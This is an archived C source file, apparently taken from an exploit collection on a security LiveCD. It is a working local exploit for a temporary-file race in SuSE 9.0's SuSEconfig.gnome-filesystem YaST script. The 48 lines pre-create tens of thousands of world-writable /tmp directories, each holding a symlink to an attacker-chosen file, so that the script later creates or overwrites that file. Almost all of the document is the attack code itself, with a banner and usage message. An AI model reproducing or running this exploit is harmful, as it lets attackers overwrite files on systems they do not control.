home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / l0om.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  48 lines

  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <string.h>
  4.  
  5. #define PATH "/tmp/tmp.SuSEconfig.gnome-filesystem."
  6. #define START 1
  7. #define END 33000
  8.  
  9. int main(int argc, char **argv)
  10. {
  11. int i;
  12. char buf[150];
  13.  
  14. printf("\tSuSE 9.0 YaST script SuSEconfig.gnome-filesystem 0day exploit\n");
  15. printf("\t-------------------------------------------------------------\n");
  16. printf("\tdiscovered and written by l0om <l0om@excluded.org>\n");
  17. printf("\t WWW.EXCLUDED.ORG\n\n");
  18.  
  19. if(argc != 2) {
  20. printf("usage: %s <destination-file>\n",argv[0]);
  21. exit(0xff);
  22. }
  23.  
  24. printf("### hit enter to create or overwrite file %s: ",argv[1]); fflush(stdout);
  25. read(1, buf, 1); fflush(stdin);
  26.  
  27. umask(0000);
  28. printf("working\n\n");
  29. for(i = START; i < END; i++) {
  30. snprintf(buf, sizeof(buf),"%s%d",PATH,i);
  31. if(mkdir(buf,00777) == -1) {
  32. fprintf(stderr, "cannot creat directory [Nr.%d]\n",i);
  33. exit(0xff);
  34. }
  35. if(!(i%1000))printf(".");
  36. strcat(buf, "/found");
  37. if(symlink(argv[1], buf) == -1) {
  38. fprintf(stderr, "cannot creat symlink from %s to %s [Nr.%d]\n",buf,argv[1],i);
  39. exit(0xff);
  40. }
  41. }
  42. printf("\ndone!\n");
  43. printf("next time the SuSE.gnome-filesystem script gets executed\n");
  44. printf("we will create or overwrite file %s\n",argv[1]);
  45. return(0x00);
  46. }
  47. /* i cant wait for the new gobbles comic! */
  48.